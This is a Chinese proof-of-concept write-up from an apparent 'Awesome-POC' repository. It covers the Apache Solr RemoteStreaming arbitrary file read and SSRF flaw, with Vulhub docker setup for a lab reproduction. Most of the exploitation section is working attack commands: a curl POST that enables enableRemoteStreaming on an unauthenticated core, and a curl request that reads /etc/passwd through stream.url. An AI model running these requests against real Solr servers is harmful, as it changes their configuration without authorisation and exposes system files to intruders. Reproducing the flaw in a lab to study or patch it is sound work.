Awesome-POC/中间件漏洞/Apache Solr RemoteStreaming 文件读取与SSRF漏洞.md
2024-11-06 14:10:36 +08:00

45 lines
1.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Solr RemoteStreaming 文件读取与SSRF漏洞
## 漏洞描述
Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下攻击者可直接构造特定请求开启特定配置并最终造成SSRF或任意文件读取。
参考链接:
- https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ
## 环境搭建
Vulhub执行如下命令启动solr 8.8.1
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8983`即可查看Apache Solr后台。
## 漏洞复现
首先,访问`http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json`获取数据库名:
![image-20220301133315348](images/202203011333403.png)
发送如下数据包,修改数据库`demo`的配置,开启`RemoteStreaming`
```
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://your-ip:8983/solr/demo/config'
```
![image-20220301133429439](images/202203011334580.png)
再通过`stream.url`读取任意文件:
```
curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
```
![image-20220301133519998](images/202203011335312.png)